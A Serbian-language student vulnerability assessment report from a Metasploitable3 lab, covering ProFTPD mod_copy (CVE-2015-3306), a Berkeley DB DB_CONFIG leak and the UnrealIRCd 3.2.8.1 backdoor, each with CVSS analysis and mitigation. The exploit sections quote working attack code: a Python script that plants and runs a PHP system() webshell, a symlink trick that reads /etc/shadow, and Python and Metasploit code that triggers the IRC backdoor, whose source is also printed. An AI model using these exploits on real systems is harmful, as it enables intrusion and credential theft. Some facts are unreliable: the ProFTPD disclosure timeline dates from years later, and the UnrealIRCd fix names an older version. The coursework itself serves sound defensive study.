Vulnerability Assessment Report Template

Ime i prezime: Selena Milutin R2 2/2024
Tim: tim 10
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306
- **Plugin ID:** 84215
- **Opis:**
  Mod_copy modul u ProFTPD 1.3.5 dozvoljava udaljenim napadačima da čitaju i pišu u proizvoljne datoteke putem komandi "site cpfr" i "site cpto".

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** za base score je 9.8 za temporal score je 9.1
- **Vektor:** Base CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, temporal CVSS:3.0/E:F/RL:O/RC:C

  AV:N znači da je domen napadača ceo internet:
  - AV Attack Vector- Ova metrika odražava kontekst u kojem je moguće iskoristiti ranjivost. Vrednost ove metrike (a samim tim i base score) će biti veća što je napadač udaljeniji (logički i fizički) u odnosu na komponentu koja je ranjiva. Pretpostavka je da je broj potencijalnih napadača na ranjivost koja se može iskoristiti preko mreže veći od broja potencijalnih napadača koji mogu iskoristiti ranjivost koja zahteva fizički pristup uređaju, te stoga zaslužuje veći base score.
  - N Network- Napadač može da bude bilo ko ko koristi internet. Takva ranjivost se često naziva „ remotely exploitable” i može se smatrati napadom koji se može iskoristiti na nivou protokola, jedan ili više mrežnih skokova dalje (npr. preko jednog ili više rutera). Primer mrežnog napada je napadač koji izaziva denial of service (DoS) slanjem posebno kreiranog TCP paketa preko široke mreže (npr. CVE-2004-0230).

AC:L znači da je složenost napada niska:

- AC Attack Complexity- Ova metrika opisuje uslove koji moraju postojati van kontrole napadača kako bi se ranjivost iskoristila. Takvi uslovi mogu zahtevati prikupljanje dodatnih informacija o meti ili posebne računarske izuzetke. Važno je napomenuti da procena ove metrike isključuje sve zahteve za interakcijom korisnika kako bi se ranjivost iskoristila (takvi uslovi su obuhvaćeni metrikom Interakcija korisnika). Ako je specifična konfiguracija potrebna da bi napad uspeo, osnovne metrike treba oceniti pod pretpostavkom da je ranjiva komponenta u toj konfiguraciji. Base score je najveći za napade sa najmanje složenosti.
- L low- Posebni uslovi pristupa ili olakšavajuće okolnosti ne postoje. Napadač može svaki put isto očekivati sa napadom na ranjivu komponentu.

PR:N znači da nema privilegija prava pristupa koje napadač mora da ima za uspešan napad:

- PR Privileges Required- Ova metrika opisuje nivo privilegija koje napadač mora imati pre nego što uspešno iskoristi ranjivost. Base score je najveći ako nisu potrebne nikakve privilegije.
- N none- Napadač je neovlašćen pre napada i nije potrebano pravo pristupa podešavanjima ili datotekama ranjivog sistema da bi izvršio napad.

UI:N znači da je dovoljan samo napadač za napad:

- UI User Interaction- Ova metrika obuhvata zahtev za učešćem nekog drugog ljudskog korisnika, osim napadača. Ova metrika određuje da li se ranjivost može iskoristiti isključivo po volji napadača ili je potrebno da odvojen korisnik (ili korisnički inicirani proces) učestvuje na neki način. Base score je najveći kada nije potrebna interakcija korisnika.
- N None- Nije potreban posrednik

S:U znači da ne dolazi do promene opsega:

- S Scope- Metrika Opsega beleži da li ranjivost u jednoj komponenti utiče na resurse u drugim komponentama van njenog sigurnosnog opsega. Promena opsega se dešava kada uticaj ranjivosti prelazi sigurnosnu granicu i pogađa komponente koje nisu pod kontrolom istog sigurnosnog autoriteta. Osnovni skor je najveći kada dođe do promene opsega.
- U unchanged- Iskorišćena ranjivost može uticati samo na resurse kojima upravlja isti sigurnosni autoritet. U ovom slučaju, ranjiva komponenta i pogođena komponenta su ili iste, ili obe upravlja isti sigurnosni autoritet.

C:H znači da je visok rizik krađe podataka:

- C Confidentiality- Ova metrika meri uticaj na poverljivost informacijskih resursa kojima upravlja softverska komponenta usled uspešno iskorišćene ranjivosti. Poverljivost se odnosi na ograničavanje pristupa informacijama i njihovog otkrivanja samo ovlašćenim korisnicima, kao i sprečavanje pristupa i otkrivanja

neovlašćenim osobama. Base score je najveći kada je gubitak za pogođenu komponentu najveći.
    - H High- Postoji potpuni gubitak poverljivosti, što rezultira time da svi resursi unutar pogođene komponente budu otkriveni napadaču. Alternativno, pristup je omogućen samo nekim ograničenim informacijama, ali otkrivene informacije predstavljaju direktan, ozbiljan uticaj. Na primer, napadač ukrade administratorsku lozinku ili privatne enkripcijske ključeve web servera.

I:H znači da je visok rizik da se izmene podaci:

- I Integrity- Ova metrika meri uticaj uspešno iskorišćene ranjivosti na integritet. Integritet se odnosi na pouzdanost i tačnost informacija. Base score je najveći kada su posledice za pogođenu komponentu najviše.
- H high- Postoji potpuni gubitak integriteta ili potpuni gubitak zaštite. Na primer, napadač može da izmeni bilo koje ili sve fajlove zaštićene pogođenom komponentom. Alternativno, samo neki fajlovi mogu biti izmenjeni, ali zlonamerna izmena bi imala direktne, ozbiljne posledice za pogođenu komponentu.

A:H znači da je visok rizik da napadač ugrozi dostupnost sistema:

- A Availability- Ova metrika meri uticaj uspešno iskorišćene ranjivosti na dostupnost pogođene komponente, kao što je mrežna usluga (npr. web, baza podataka, email). Pošto se dostupnost odnosi na pristupačnost informacijskih resursa, napadi koji troše mrežni protok, procesorske cikluse ili diskovni prostor utiču na dostupnost pogođene komponente. Base score je najveći kada su posledice za pogođenu komponentu najviše.
- H high- Postoji potpuni gubitak dostupnosti, što omogućava napadaču da u potpunosti onemogući pristup resursima pogođene komponente, bilo dok traje napad ili trajno. Alternativno, napadač može delimično onemogućiti dostupnost, što ima ozbiljne posledice za komponentu (npr. sprečavanje novih veza ili ponavljajući napadi koji uzrokuju nedostupnost usluge).

E:F postoji kod koji bi iskoristio ovu ranjivost:

- E Exploit Code Maturity- Ova metrika meri verovatnoću napada na ranjivost, obično zasnovano na trenutnom stanju tehnika eksploatacije, dostupnosti koda za eksploataciju ili aktivnoj. Kod za eksploataciju može napredovati od dokaza koncepta do koda koji uspešno eksploatiše ranjivost dosledno. U ozbiljnim slučajevima, može se isporučiti kao deo mrežnog crva, virusa ili drugih automatskih alata za napad.
- F Functional- Dostupan je funkcionalni kod za eksploataciju. Ovaj kod funkcioniše u većini situacija gde ranjivost postoji.

RL:O

- R Remediation Level- tipična ranjivost je neispravljena kada je prvobitno objavljena. Rešenja ili hot fix mogu ponuditi privremenu remedijaciju dok se ne

izda zvanična zakrpa ili nadogradnja. Svaka od ovih faza smanjuje Temporal Score, odražavajući smanjenje hitnosti kako remedijacija postaje konačna.
    - O Official Fix- Dostupno je potpuno rešenje od prodavca. Ili je prodavac izdao zvaničnu zakrpu, ili je dostupna nadogradnja.

RC:C

- RC Report Confidence- Ova metrika meri koliko smo sigurni da ranjivost postoji i koliko su pouzdani dostupni tehnički detalji. Ponekad se samo spominje da ranjivost postoji, ali bez detalja. Može se potvrditi istraživanjem ili priznanjem autora tehnologije. Ranjivosti su hitnije kada se sigurno zna da postoje, što takođe pokazuje koliko znanja imaju potencijalni napadači.
- C Confirmed- Postoje detaljni izveštaji ili je moguće funkcionalno reprodukovati ranjivost (funkcionalni eksploiti mogu to omogućiti). Izvorni kod je dostupan za nezavisnu verifikaciju navoda istraživanja, ili je autor ili dobavljač pogođenog koda potvrdio postojanje ranjivosti.

- **Opravdanje:**
  Base CVSS score- rezultat je blizu gornje granice jer je obim napadača širok, napad je jednostavan I ne zahteva preteranu ekspertizu. Osim toga napadač ne mora da ima određena prava pristupa niti mu treba posrednik da bi napad uspeo. Ovim napadom se direkno ugrožava poverljivost, integritet sistema I dostupnost sistema. Napad će sa ovom ranjivosti biti uspešan svaki put I može u velikoj meri da ugrozi sistem.

  Template CVSS score- rezultat je blizu gornje grance jer postoji javno dostupan kod koji bi iskoristio ovu ranjivost jer postoji jasna dokumentacija ranjivosti koja je javno dostupna. Za ovaj problem postoji official fix, te nema razloga za korišćenjem ove verzije.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):** Da.

  Postoji dosta dokumentacije za ovu ranjivost. Na sajtu https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3306 su data dva exploit-a.
- **Opis eksploita:**
  Sa ovom verzijom ProFTPD napadač može da koristi SITE CPFR i SITE CPTO komande bez bilo kakvih kredencijale, posrednika I remote da izvrši napad. Ovim može imati pritup poverljivim informacijama, kao sšto su datoteke na ranjivim distemu I konfiguracione datoteke. Osim krađe podataka napadač može I da promeni podatke. Ovo za posledicu može imati gubitak poverljivosti, oštećenje reputacije, finansijske gubitke I mogućnost daljih napada sa skinutim podacima.
  Exploitable With CANVAS (true) Metasploit (ProFTPD 1.3.5 Mod_Copy Command Execution) (true)

- **Kod eksploita (ukoliko postoji):**
  Dati primeri pokreču SITE CPFR komandu. U jednom primeru skida lozinku a u drugom menjaju sadržaj .php fajla koji se posle može pokrenuti u pozadini.

```
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
---------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
```

-

```
    server = sys.argv[1] #Vulnerable Server
    directory = sys.argv[2] # Path accessible from web .....
    cmd = sys.argv[3] #PHP payload to be executed
    evil = '<?php system("' + cmd + '") ?>'
    s.connect((server, 21))
    s.recv(1024)
    print '[ + ] Connected to server [ + ] \n'
    s.send('site cpfr /etc/passwd')
    s.recv(1024)
    s.send('site cpto ' + evil)
    s.recv(1024)
    s.send('site cpfr /proc/self/fd/3')
    s.recv(1024)
    s.send('site cpto ' + directory + 'infogen.php')
    s.recv(1024)
    s.close()
    print '[ + ] Payload sended [ + ]\n'
    print '[ + ] Executing Payload [ + ]\n'
    r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
    if (r.status_code == 200):
        print '[ * ] Payload Executed Succesfully [ * ]'
    else:
        print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'

print '\n http://infogen.al/'
```

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Postoji “bug” u SITE CPFR i SITE CPTO komandama koji zanemaruje "Limit WRITE" denyall direktivu, što bi omogućilo korisniku da kopira datoteku u trenutni folder čak i ako nema dozvolu.

  Timeline:

  - 28.09.2018 Reported to ProFTPd security@, ProFTPd asking for clarifications
  - 12.06.2019 Reported to Debian Security Team, replies by Moritz & Salvatore
  - 28.06.2019 Deadline for public disclosure on 28.07.2019 announced
  - 17.07.2019 Fix published by ProFTPd

- **Primer Koda (ako je primenljivo):**

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**

  Ažurirati na ProFTPD 1.3.5a / 1.3.6rc1 ili kasnije verzije.

  Ulogujte se sa SSH

  Sačuvajte /etc/proftpd folder za svaki slučaj.

  Run: *service proftpd stop*

  Run: *wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.6rc2.tar.gz*

  Run: *tar xf proftpd-1.3.6rc2.tar.gz*

  Run: *cd proftpd-1.3.6rc2*

  Run: *apt-get install build-essential libmysqlclient15-dev libpam-dev debhelper zlib1g-dev libpq-dev libldap2-dev libssl-dev libwrap0-dev libcap-dev autotools-dev dpatch libacl1-dev libattr1-dev unixodbc-dev libsqlite3-dev*

  Run: *proftpd -V*

  Nakon ove komande treba kopirati sve iz izlaza od configure do gnu i dodati ./ ispred. Primer bi bio:

  Run: *./configure 'CFLAGS=-g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security' 'CPPFLAGS=-D_FORTIFY_SOURCE=2' 'CXXFLAGS=-g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security' 'FFLAGS=-g -O2' 'GCJFLAGS=-g -O2 -fstack-protector --param=ssp-buffer-size=4' 'LDFLAGS=-Wl,-Bsymbolic-functions -Wl,-z,relro' '--prefix=/usr' '--with-includes=/usr/include/postgresql:/usr/include/mysql' '--mandir=/usr/share/man' '--sysconfdir=/etc/proftpd' '--localstatedir=/var/run' '--libexecdir=/usr/lib/proftpd' '--enable-sendfile' '--enable-facl' '--enable-dso' '--enable-autoshadow' '--enable-ctrls' '--with-modules=mod_readme' '--enable-ipv6' '--enable-nls' '--enable-memcache' '--with-lastlog=/var/log/lastlog' '--enable-pcre' '--build' 'x86_64-linux-gnu' '--with-shared=mod_unique_id:mod_site_misc:mod_load:mod_ban:mod_quotatab:mod_sql:mod_sql_mysql:mod_sql_postgres:mod_sql_sqlite:mod_sql_odbc:mod_dynmasq:mod_quotatab_sql:mod_ldap:mod_quotatab_ldap:mod_ratio:mod_tls:mod_rewrite:mod_radius:mod_wrap:mod_wrap2:mod_wrap2_file:mod_wrap2_sql:mod_quotatab_file:mod_quotatab_radius:mod_facl:mod_ctrls_admin:mod_copy:mod_deflate:mod_ifversion:mod_tls_memcache:mod_geoip:mod_exec:mod_sftp:mod_sftp_pam:mod_sftp_sql:mod_shaper:mod_sql_passwd:mod_ifsession' 'build_alias=x86_64-linux-gnu'*

Run: *make*

Run: *make install*

Run: *service proftpd start*

- **Alternativni fix (ukoliko ne postoji vendorski):**

Da se zabrani pristup mod_copy u ProFTPd konfiguracionom fajlu. Putanja za konfiguracioni fajl je /etc/proftpd/modules.conf, unutra treba da se zakommentariše #LoadModule mod_copy.c.

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2017-10140**
- **Plugin ID: 104739**
- **Opis:**

  Ubuntu 14.04 LTS / 16.04 LTS : Berkeley DB vulnerability (USN-3489-1).

  Postfix pre 2.11.10, 3.0.x pre 3.0.10, 3.1.x pre 3.1.6, i 3.2.x pre 3.2.2 mogu da omoguće lokalnim korisnicima da steknu privilegije koristeći nedokumentisanu funkcionalnost u Berkeley DB verziji 2.x i novijim, povezano sa čitanjem podešavanja iz DB_CONFIG u trenutnom direktorijumu.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.8
- **Vektor: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, CVSS:3.0/E:P/RL:O/RC:C**
  AV:L- napadač može biti ulogovan lokalno kako bi izvršio napad ili da se oslanja na iterakciju korisnika.
  AC:L- složenost napada je low, što znači da napadač može da očekuje svaki put uspešan napad na ranjivu komponentu.
  PR:L- privilegije napadača su low. Napadač treba da ima osnovne privilegije koje inače daju pristup sopstvenim fajlovima.
  UI:N- nije potrebna iterakcija drugog korisnika.

S:U- Iskorišćena ranjivost može uticati samo na resurse kojima upravlja isti sigurnosni autoritet. U ovom slučaju, ranjiva komponenta i pogođena komponenta su ili iste, ili obe upravlja isti sigurnosni autoritet.
C:H- dolazi do potpunog gubitna pouzdanosti.
I:H- potpun gubitak intigriteta
A:H- potpun gubitak dostupnosti
E:P- nije exploiz-able pod svim uslovima I u svim okruženjima.
RL:O- postoji resenje
RC:C- postoji exploit code

- **Opravdanje:**
  skor je high a ne critical jer je opseg korisnika ograničen na one ulogovane, tj napadač mora da ima osnovna prava pristupa kao korisnik aplikacije. Napad je s druge strane, jednostavan i ne zahteva iterakciju drugog korisnika. Posledice ovog napada su gubitak integriteta, pouzdanosti I dostupnosti, što direktno može rezultovati velikim finansijskim gubitcima.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**
  https://seclists.org/oss-sec/2017/q3/285
- **Opis eksploita:**
  Berkeley DB podrazumevano čita fajl DB_CONFIG iz trenutnog radnog direktorijuma ako baza podataka (dbenv) nije navedena u okruženju. Kreiranjem simboličkog linka od DB_CONFIG do /etc/shadow—fajla koji sadrži hesirane lozinke na Unix sličnim sistemima—napadač može prevariti program da umesto konfiguracionog fajla pročita shadow

- **Kod eksploita (ukoliko postoji):**

```
$ cat /etc/shadow
   cat: /etc/shadow: Permission denied
   $ ln -sf /etc/shadow DB_CONFIG
   $ /sbin/ccreds_chkpwd moo < /dev/null
   BDB1584 line 1:
   root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect
   name-value pair
```

Kao posledica nedostatka verifikacije, BerkleyDB je pokušao da posmatra shadow kao konfiguracioni fajl što je uzrokovalo grešku. U konzoli se ispisala poruka greške, što su bili poverljivi podaci.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  U Berkeley DB verziji 2.x je dodata nedokumentovana funkcija koja je omogućila ovu ranjivost.

- **Primer Koda (ako je primenljivo):**

  https://www.openwall.com/lists/oss-security/2017/08/12/1

```
--- db-4.3.29/env/env_open.c.orig       2004-12-23 02:58:21 +0000
+++ db-4.3.29/env/env_open.c    2017-06-15 13:59:43 +0000
@@ -500,7 +500,7 @@ __dbenv_config(dbenv, db_home, flags)
        if (p == NULL)
                fp = NULL;
        else {
-               fp = fopen(p, "r");
+               fp = strcmp(p, "DB_CONFIG") ? fopen(p, "r") : NULL;
                __os_free(dbenv, p);
        }

/*
                 * Skip DB-owned files: ., ..,  __db*, DB_CONFIG, log*
                 */
                if (strcmp(names[i], ".") == 0)
                        continue;
                if (strcmp(names[i], "..") == 0)
                        continue;
                if (strncmp(names[i], "__db", 4) == 0)
                        continue;
                if (strncmp(names[i], "DB_CONFIG", 9) == 0)
                        continue;
                if (strncmp(names[i], "log", 3) == 0)
                        continue;
```

  Problem nastaje jer Berkeley DB, kada je okruženje baze neinicijalizovano (dbenv = NULL), podrazumevano čita fajl DB_CONFIG iz trenutnog direktorijuma. Ovo stvara bezbednosni rizik, jer napadač može postaviti zlonamerni DB_CONFIG u direktorijumu gde aplikacija koristi Berkeley DB, što omogućava napadaču kontrolu određenih postavki ili neočekivano ponašanje.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:**
  sudo apt update

  sudo apt install postfix

  sudo chown root:root /etc/postfix/main.cf

sudo chmod 644 /etc/postfix/main.cf

- **Alternativni fix (ukoliko ne postoji vendorski):**

```
--- db-5.3.28/src/env/env_open.c.old  2017-06-26 10:32:11.011419981 +0200
+++ db-5.3.28/src/env/env_open.c      2017-06-26 10:32:46.893721233 +0200
@@ -473,7 +473,7 @@
        env->db_mode = mode == 0 ? DB_MODE_660 : mode;

        /* Read the DB_CONFIG file. */
-       if ((ret = __env_read_db_config(env)) != 0)
+       if (env->db_home != NULL && (ret = __env_read_db_config(env)) != 0)
                return (ret);

        /*
```

Pre čitanja DB_CONFIG proverava se da bd_home nije NULL. Ovo sprečava napadača da pokreće kod iz bilo kog direktorijuma.

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2010-2075**
- **Plugin ID: 46882**
- **Opis:**

Udaljeni IRC server koristi verziju UnrealIRCd koja ima backdoor, što omogućava napadaču da izvrši proizvoljan kod na pogođenom hostu.

---

2. CVSS skor

- **CVSS skor (numerička vrednost): 10**
- **Vektor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**
  AV:N- napadač može biti bilo ko sa internet mreže.
  AC:L- složenost napada je low, što znači da napadač može da očekuje svaki put uspešan napad na ranjivu komponentu.

PR:N- privilegije napadača su None. Napadač ne mora da ima bilo kakve privilegije niti prava pristupa.
UI:N- nije potrebna iterakcija drugog korisnika.
S:U- Iskorišćena ranjivost može uticati samo na resurse kojima upravlja isti sigurnosni autoritet. U ovom slučaju, ranjiva komponenta i pogođena komponenta su ili iste, ili obe upravlja isti sigurnosni autoritet.
C:H- dolazi do potpunog gubitna pouzdanosti.
I:H- potpun gubitak intigriteta
A:H- potpun gubitak dostupnosti

- **Opravdanje:**
  Skor je blizu najveći moguć jer je obim napadača širok, napad je jednostavan I ne zahteva preteranu ekspertizu. Osim toga napadač ne mora da ima određena prava pristupa niti mu treba posrednik da bi napad uspeo. Ovim napadom se direkno ugrožava poverljivost, integritet sistema I dostupnost sistema. Napad će sa ovom ranjivosti biti uspešan svaki put I može u velikoj meri da ugrozi sistem.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**

  https://github.com/FredBrave/CVE-2010-2075-UnrealIRCd-3.2.8.1
  https://www.exploit-db.com/exploits/16922
  https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor/

- **Opis eksploita:**
  Nakon uspostavljanja veze i dobijanja bannera sa servera (što je uobičajena informacija o verziji i konfiguraciji servera), exploit šalje komandnu koja počinje sa „AB;“ a zatim sa kodiranim payload-om. Taj niz aktivira zadnja vrata na serveru i omogućava izvršavanje proizvoljnog koda. U zavisnosti od privilegija, napadač može čitati, menjati ili brisati datoteke i izvršavati sistemske komande.
- **Kod eksploita (ukoliko postoji):**

  Kod je dat u pajtonu I ruby. Nakon povezivanja na server šalje se payload u odgovarajućem formatu koji aktivira backdoor.

```
def RCExplotation(Target,port,cmd):
    print('Creating connection')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('Creating payload')
    payload = '{} {}'.format(BACKDOOR_PREFIX, cmd)
    s.connect((Target,port))
    rce = s.recv(1024).decode()
    print('[*]Sending Payload...')
    s.send(payload.encode())
    rce = s.recv(1024).decode()
```

```
def exploit
    connect

    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
        print_line("    #{line}")
    end

    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    handler
    disconnect
end
```

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Oko 10. novembra 2009. godine, mirror serveri za distribuciju verzije 3.2.8.1 UnrealIRCd-a zamenjeni su verzijom koja je sadržala backdoor. Taj backdoor je omogućavao napadaču da pokrene bilo koju komandu na sistemu koji koristi kompromitovani server, pri čemu bi se komanda izvršavala s privilegijama korisnika koji je pokrenuo server. Trebalo je sve do 12. juna da se ova zamena primeti, tako da su svi koji su preuzeli kopiju koda u tom sedmomesečnom periodu potencijalno ranjivi.

- **Primer Koda (ako je primenljivo):**

  Backdoor je bio prerušen da izgleda kao debug izraz u kodu.

```
#ifdef DEBUGMODE3
   if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
       DEBUG3_LOG(readbuf);
#endif
```

  DEBUG3_LOG na kraju se prevodi u poziv funkcije system(), dok je vrednost DEBUGMODE3_INFO string "AB". Dakle, komande poslate serveru koje počinju sa "AB" biće direktno prosleđene funkciji system(). Iako nije naročito sofisticiran, ovaj backdoor

je ipak efektivan. Kao što je navedeno u obaveštenju, čak su i serveri koji su podešeni da zahtevaju lozinke od korisnika ili da uopšte ne dozvoljavaju pristup korisnicima i dalje ranjivi, jer i dalje primaju ulazne podatke.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
  Potrebno je preći na verziju 3.2.8 ili kasniju.

  Sa wget skinuti tar I otpakovati ga sa:

  tar -zxvf naziv.gz

  ./Config

  make

  sudo make install

  sudo service unrealircd restart

- **Alternativni fix (ukoliko ne postoji vendorski):**